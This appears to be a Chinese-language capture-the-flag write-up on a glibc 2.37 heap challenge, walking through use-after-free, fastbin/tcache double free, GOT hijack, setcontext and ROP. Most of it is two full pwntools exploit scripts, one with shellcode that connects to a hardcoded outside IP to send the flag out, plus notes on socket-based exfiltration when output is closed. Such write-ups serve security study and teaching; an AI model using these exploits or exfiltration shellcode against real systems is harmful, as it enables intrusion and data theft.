fastbin_tcache

Fastbin and Tcache

该文章思路来自于dasctf2023.4的2.37的一个堆,题出的是不错,就是exp有点极限,我后来研究出了另一种风水法

官方的wp:

沙箱情况:

image-20230426014417669.jpg

漏洞利用

glibc-2.37,add/delete/show三个操作,存在UAF漏洞,堆块数组下标上限为8,但add次数不限,每次固定申请0x30的堆块,并读入数据,delete最多十次,show两次之后会close(1)/close(2)。

  1. 堆地址容易泄露,泄露了堆地址就能得到key,可绕过fd/next的指针异或保护

  2. 先将tcache填满,再释放一个进入fastbin,申请回tcache的第一个堆块,再通过UAF漏洞,将fastbin中的堆块double free进入tcache

  3. 申请回此时tcache中的第一个堆块,即可对fastbin中的堆块fd进行修改。这里通过巧妙的堆风水构造,不断地申请tcache,并在fastbin中伪造出一条堆块链

  4. 申请完tcache后,再申请出fastbin中的第一个堆块,此时fastbin中后面的堆块都会反序甩入tcache中,并且方便控制

  5. 利用上面构造的堆风水,修改某堆块的size大于tcache的上限(相当于把其之后的小堆块大小全部合起来),再释放这个堆块,即可进入unsorted bin,泄露出libc地址

  6. 在上一步第二次泄露之后,关闭了标准输出和报错,因此没有回显了,需要sleep来控制读入

  7. 继续利用上面构造的堆风水,劫持tcache中某个fake chunk的next指针,指向libc中strlen的got表(puts会调用),并将其改为magic_gadget(mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;)的地址

  8. 之后,再调用一次show,通过其中的puts函数,即可走到magic_gadget,不过需要在上一步之前,在堆块中相应的setcontext偏移位置,伪造好各个寄存器,最后通过srop读入rop/shellcode并跳转执行

  9. 此处的沙盒禁用了open,需要用openat代替,并且read的第一个参数fd必须是0,因此需要先close(0)再open打开flag,使得flag对应的文件描述符为0,即可用read读取flag文件

  10. 由于在程序中close(1)/close(2),即关闭了输出,没有回显,这里不好用侧信道爆破出flag,可以采用socket通信的方式将flag反弹到自己的服务器上

exp

注意:exp中shellcode的部分,0x73fa4551401f0002表示81.69.250.115的8000端口,具体测试的时候,需要更改一下这里,在自己的服务器上用nc -lvnp 8000接收反弹到的flag

from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

#io = process("./pwn")
io = remote("81.69.250.115", 8888)
libc = ELF("./libc.so.6")

def add(idx, content) :
	io.sendafter("Choice >> ", b'1')
	io.sendafter("Index >> ", str(idx))
	io.sendafter("Content >> ", content)

def add_2(idx, content) :
	io.send(b'1')
	sleep(0.1)
	io.send(str(idx))
	sleep(0.1)
	io.send(content)
	sleep(0.1)

def delete(idx) :
	io.sendafter("Choice >> ", b'2')
	io.sendafter("Index >> ", str(idx))

def show(idx) :
	io.sendafter("Choice >> ", b'3')
	io.sendafter("Index >> ", str(idx))

if __name__ == '__main__' :
	for i in range(8) :
		add(i, b'\n')
	for i in range(11) :
		add(8, b'\n')
	for i in range(7) :
		delete(i)
	delete(7)
	add(8, b'\n')
	delete(7)
	show(0)
	io.recvuntil("Content << ")
	key = u64(io.recv(5).ljust(8, b'\x00'))
	success('key:\t' + hex(key))
	heap_base = key << 12
	success('heap_base:\t' + hex(heap_base))
	
	add(0, p64(key ^ (heap_base + 0x3f0)))
	add(1, b'\x00'*0x20 + p64(key ^ (heap_base + 0x390)))
	add(2, p64(key ^ (heap_base + 0x370)))
	add(3, b'\x00'*0x20 + p64(key ^ (heap_base + 0x330)))
	add(4, b'\x00'*0x20 + p64(key ^ (heap_base + 0x2f0)))
	add(5, b'\x00'*0x20 + p64(key ^ (heap_base + 0x2b0)))
	add(6, b'\x00'*0x20 + p64(key))
	add(7, b'\n')
	add(8, b'\x00'*0x18 + p64(0x441))
	
	delete(5)
	show(5)
	io.recvuntil("Content << ")
	libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f6ce0
	success("libc_base:\t" + hex(libc_base))
	
	magic_gadget = libc_base + 0x8b105 # mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
	writeable_addr = libc_base + libc.sym['__free_hook']
	libc_strlen_got = libc_base + 0x1f6080
	
	add_2(0, p64(libc_base + libc.sym['setcontext'] + 61) + p64(heap_base + 0x2e0))
	payload = p64(0xdeadbeaf) + p64(0) + p64(writeable_addr)
	payload += p64(0xdeadbeaf)*2 + p64(0x200)
	add_2(1, payload)
	payload = p64(writeable_addr + 8) + p64(libc_base + libc.sym['read'])
	payload = payload.ljust(0x20, b'\x00') + p64(key ^ (libc_strlen_got - 0x10))
	add_2(2, payload)
	add_2(3, b'\n')
	add_2(4, b'\x00'*0x10 + p64(magic_gadget))
	
	io.send(b'3')
	sleep(0.1)
	io.send(b'0')
	sleep(0.1)
	
	pop_rdi_ret = libc_base + 0x240e5
	pop_rsi_ret = libc_base + 0x2573e
	pop_rdx_ret = libc_base + 0x26302
	
	rop = b'./flag\x00\x00'
	rop += p64(pop_rdi_ret) + p64(0) + p64(libc_base + libc.sym['close'])
	rop += p64(pop_rdi_ret) + p64(writeable_addr)
	rop += p64(pop_rsi_ret) + p64(0)
	rop += p64(libc_base + libc.sym['open'])
	rop += p64(pop_rdi_ret) + p64(writeable_addr >> 12 << 12)
	rop += p64(pop_rsi_ret) + p64(0x1000)
	rop += p64(pop_rdx_ret) + p64(7)
	rop += p64(libc_base + libc.sym['mprotect'])
	rop += p64(writeable_addr + len(rop) + 8)

	shellcode = asm('''
		push 0;
		pop rax;
		push 0;
		pop rdi;
		mov rsi, rsp;
		add rsi, 0x100;
		push rsi;
		pop rbx;
		push 0x50;
		pop rdx;
		syscall;

		push 2;
		pop rdi;
		push 1;
		pop rsi;
		push 0;
		pop rdx;
		push 41;
		pop rax;
		syscall;

		push 1;
		pop rdi;
		mov rcx, 0x73fa4551401f0002;
		push rcx ;
		mov rsi,rsp;
		push 0x10;
		pop rdx;
		push 42;
		pop rax;
		syscall;

		push 1;
		pop rax;
		push 1;
		pop rdi;
		push rbx;
		pop rsi;
		push 0x50;
		pop rdx;
		syscall;
	''')
	sleep(0.1)
	io.send(rop + shellcode)
	io.interactive()

Another Way

a chunk in fastbin also in tcache

由于这题的free只有10次,且没有edit,add分配的是固定大小0x30,导致使用free得多加考虑,首先fake fastbin chain reverse into tcache这种方法开局就要free7个堆塞满tcache,那此时还剩下3次free,我们可以用2次free做一个double free完成一个操作,a chunk in fastbin also in tcache,大概是图里这样image-20230426005645070.jpg

5操作后我们往X的fd写入一个指针,这个指针可以指向一个我们伪造的堆,也可以是正常的堆。根据这题的思路,我们此后继续申请出tcache堆,每次申请都往申请出的堆内伪造一个fake fastbin,直到最后tcache为空,fastbin链表链接到一个值结尾,我们可以用泄露出的key伪造最后是key^(0)来保证fastbin链表正常,或者是继续构造,构造出最后指针指向fastbin结尾的X堆,构成循环链表。

PS:其实构成循环链表就能够留下一个堆在fastbin保证下一次控制。4这里X指向6其实我写错了,tcache和fastbin对指针的解析不同,tcache是解析指针的&fd位置,而fastbin是解析指针的头也就是&fd-0x10。第二次free X堆造成X的fd其实是指向tcache的6堆的&fd位置,对于fastbin中的X的下一个堆指针的下一个堆指针是解析为6堆的fd位置+0x10,一般内容是0,解析成fastbin指针就变成key了,fastbin链表会就此断了。

fake fastbin chain reverse into tcache

对于这种方法,我的理解是

image-20230426011150090.jpg

该图下方,本题,若只是将堆7指向key^(0)让链表结束的话,就无法用此方法再次分配恶意堆,只是拿出T堆结束,如果要再次分配恶意堆,需要用free或者保证残留在fastbin的堆仍然能控制。若能形成fastbin循环链表,则可以将该情形转换回a chunk in fastbin also in tcache的类似情形,可以编辑X堆的fd指针,然后不停申请tcache,再次进行fake fastbin的构造,实现连续分配恶意堆。

PS:当然,实现连续分配恶意堆的条件是图下方的T堆是一个本来就可控的地址,可以先在该fake fastbin里布置好fd创造循环链表,所以连续分配恶意堆的最大作用是修改已知堆段的各种值,比如一个堆的size,fd,bk等。但是如果T堆想要是一个本来不可控的地址,比如libc附近,或者tcache struct堆里,那么该循环就会断掉,且fastbin这个size的链表可能被污染,但至少确实拿到了一次这个不可控的地址的堆。

exp:

#coding=utf-8
from pwn import *
from pickletools import stackslice
import time
from shutil import move
from mcrypt import * # 这个模块是自己用的,作用就是进行base64换表



context(os = 'linux', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
#context.terminal = ['tmux','splitw','-h']
#context.arch='amd64'
#p=remote('node.yuzhian.com.cn',30143)
local=1
exec_file="./pwn"
context.binary = exec_file
#context.log_level='debug'
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')


elf=ELF(exec_file)

if local :
    p = process(exec_file)
    if context.arch == "i386" :
        libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
    elif context.arch == "amd64" :
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False) 
else:
    p = remote("")

libc=ELF('/home/lmy/Desktop/glibc-all-in-one/libs/2.37-0ubuntu2_amd64/libc.so.6')

s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
sh = lambda: p.interactive()
r = lambda n=None: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim: p.recvuntil(delim)
rl = lambda: p.recvline()
rls = lambda n=2**20: p.recvlines(n)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, ''))
uu64    = lambda data   :u64(data.ljust(8, ''))
bp      = lambda bkp                :gdb.attach(p,'b *'+str(bkp))

LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-25s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr 
    return text_addr, libc_base
def debug():
    text_base, libc_base = get_base(p, 'pwn')
    script = '''
    set $text_base = {}
    set $libc_base = {}
    

    
    
    '''.format(text_base, libc_base)
    LOGTOOL['address']=0x4060+text_base
    LOGALL()
    #b mprotect
    #b *($text_base+0x0000000000000000F84)
    #b *($text_base+0x000000000000134C)
    # b *($text_base+0x0000000000000000001126)
    #dprintf *($text_base+0x04441),"%c",$ax
    #dprintf *($text_base+0x04441),"%c",$ax
    #0x12D5
    #0x04441
    #b *($text_base+0x0000000000001671)
    gdb.attach(p, script)
#b *$rebase(0x001CEB)
def fuck(address):
    n = globals()
    for key, value in n.items():
        if value == address:
            success(key + "  ==>  " + hex(address))
            return





def add(index,content='\n'):
    sa('Choice >> ',str(1))
    sa('Index >> ',str(index))
    sa('Content >> ',content)

def free(index):
    sa('Choice >> ',str(2))
    sa('Index >> ',str(index))

def show(index):
    sa('Choice >> ',str(3))
    sa('Index >> ',str(index))


def add1(index,content='\n'):
    sleep(0.3)
    s(str(1))
    s(str(index))
    s(content)


def free1(index):
    sleep(0.3)
    s(str(2))
    s(str(index))

def show1(index):
    sleep(0.3)
    s(str(3))
    s(str(index))




def pwn():
    add(8)
    add(7)
    for i in range(7):
        add(i)
    for i in range(7):
        add(i)
    for i in range(7):
        add(i)
    for i in range(7):
        free(i)
    
    
    show(0)
    ru('Content << ')
    key=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
    heap_base=key<<12
    print hex(key)
    print hex(heap_base)
    free(8)
    
    add(0,p64(key^(heap_base+0x7d0)))#set fd to double free chunk
    
    free(8)#double free chunk in fastbin also in tcache bin
    
    add(0,p64(key^(heap_base+0x810))+p64(0)+p64(0)+p64(0x41)+p64(key^(heap_base+0x2d0-0x20))+p64(0))#change double free chunk's fd to the chunk whose fd is double free chunk
    
    #for i in range(1):
    add(1,p64(key^(heap_base+0x790)))
    add(2,p64(key^(heap_base+0x710)))#+0x750
    add(3,p64(key^(heap_base+0x790)))
    add(4,p64(key^(heap_base+0x6d0)))
    add(5,p64(key^(heap_base+0x690))+p64(0)+p64(0x420)+p64(0x21))
    add(6,p64(key^(heap_base+0x2d0-0x20)))
    
    #elf_base=heap_base-0x3000
    
    add(0,p64(key^(heap_base+0x1110)))#+0x2d0   
    debug()
    add(0,p64(key^(heap_base+0x6d0))+p64(0)*1+p64(0x40)+p64(0x421))   #spec
    
    free(7)
    show(7)
    ru('Content << ')
    leak1=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
    libc_base=leak1-0x1f6ce0
    print hex(leak1)
    
    LOGTOOL['libcbase']=libc_base
    strlen_addr=libc_base+0x1f6080
    setcontext=libc_base+libc.sym['setcontext']+61
    LOGTOOL['libc_strlen']=strlen_addr
    magic1=libc_base+0x0157c00
    read_addr=libc_base+libc.sym['read']
    mmap_addr=libc_base+libc.sym['mmap']
    mprotect_addr=libc_base+libc.sym['mprotect']
    pop_rdi=0x0240e5+libc_base
    pop_rsi=0x002573e+libc_base
    pop_rdx=0x00026302+libc_base
    jmp_rsi=0x000519ad+libc_base
    jmp_rdi=0x0006da30+libc_base
    #0x0000000000157c00 : mov rdx, rbp ; mov rdi, r13 ; call qword ptr [rax + 0x10]
    
    add1(1,p64(key^(heap_base+0x6d0)))
    add1(2,p64(key^(heap_base+0x710)))#+0x710
    add1(3,p64(key^(heap_base+0x750)))
    add1(4,p64(key^(heap_base+0x7d0)))
    add1(5,p64(key^(heap_base+0x810)))
    
    add1(6,p64(key^(strlen_addr-0x20)))
    
    
    add1(1)#trigger
    
    
    segment=heap_base+0x1000-0x78
    
    add1(0,p64(0)*2+p64(magic1))
    add1(1,p64(0)*5+p64(0xdeadbeef))
    add1(2,p64(0)*5+p64(0xdeadbeef))
    add1(3,p64(0)*5)#0x790
    add1(4,p64(0)*1+p64(heap_base+0x6e0-0x10)+p64(segment)+p64(read_addr)+p64(segment)+p64(setcontext))#0x750
    add1(5,p64(0)*4+p64(segment)+p64(0))#0x710
    add1(6,p64(0)*2+p64(setcontext))#0x6d0

    
    debug()
    pause()
    show1(6)
    pl=flat([pop_rdi,0,pop_rsi,segment+0x38,pop_rdx,0x1000,read_addr,0])+'a'
    sleep(0.3)
    s(pl)
    pl1=flat([pop_rdi,heap_base+0x1000,pop_rsi,0x1000,pop_rdx,7,mprotect_addr,jmp_rdi])
    shellcode=shellcraft.amd64.close(0)
    shellcode+=shellcraft.amd64.openat(0,"/flag",0)
    shellcode+=shellcraft.amd64.read(0, "rsp", 0x100)
    shellcode+=shellcraft.amd64.write(1, "rsp", 0x100)
    pl1+=asm(shellcode,arch='amd64',os='linux')
    sleep(0.3)
    s(pl1)




pwn()




it()

注意和思考

大概2.34以后申请fastbin时会对fastbin链表里的堆进行检测,检查是否对齐0x10,只要有指针不对齐,或者最后指针指向0区域(gdb的bins中解析为key)就会寄,所以最好保证最后指向为key^(0)或者别的指针

改完堆size后,free前要算好或者布置好后一个fake堆对应的pre_size和pre_inuse位

我找的magic_gadget为#0x0000000000157c00 : mov rdx, rbp ; mov rdi, r13 ; call qword ptr [rax + 0x10]

我观察到puts进入libc_strlen后,rbp=rdi=rax,那这样构造setcontext+61能找的gadget就多多了,我这里rax+10就放setcontext+61,同时这堆给的size抠门,需要3个堆连续构造才能满足,由于setcontext的rsi位置为pre_size,我无法控制,我让push rcx变成下一个setcontext+61,让rdx为我们构造堆-0x10,这样能同时在一个大块上继续布置,再布置下一个setcontext的push rcx为read,此时下一个setcontext的rsi可控,但rdx落在chunk的size位,不过也够用,用read再开了个read栈迁移rop然后mprotect打shellcode

此处的沙盒禁用了open,需要用openat代替,并且read的第一个参数fd必须是0,因此需要先close(0)再open打开flag,使得flag对应的文件描述符为0,即可用read读取flag文件

Close(1)后如何获得flag:

  1. 关闭输出后想要得到 flag, 可以建立一个 socket 链接, 通过 TCP 发送出去.

    首先得有一个能够访问的 socket server, 可以拿有公网 ip 的服务器, 使用 nc -lp <port> 开一个 socket 服务端并监听 <port>. 然后控制程序流执行

    1. sockfd = socket(2, 1, 0) 获得一个 socket 描述符
    2. connect(sockfd, socked_addr, 16) 建立链接
    3. write(sockfd, data, size) 发送数据

    socket(2, 1, 0) 是初始化一个 ipv4 的 stream socket, connect 的第二个参数 socked_addr 是服务端地址及端口编码后的一个数据结构 (struct sockaddr_in), 长度为 16. 这个数据结构的内容可以写一个 c 程序获取:

    #include <stdlib.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    #include <sys/socket.h>
    
    int main() {
        struct sockaddr_in *serv_addr = malloc(sizeof(struct sockaddr_in));
        memset(serv_addr, 0, sizeof(struct sockaddr_in));
        serv_addr->sin_family = AF_INET;
        serv_addr->sin_addr.s_addr = inet_addr("127.0.0.1");
        serv_addr->sin_port = htons(8888);
        write(1, serv_addr, 16);
      return 0;
    }
    

该题为:

Socket(2,1,0)

Connect(1,ip:端口的地址,42)

Write(1,flag地址,0x50)

posted @ 2023-04-26 03:57  brain_Z  阅读(59)  评论(0编辑  收藏  举报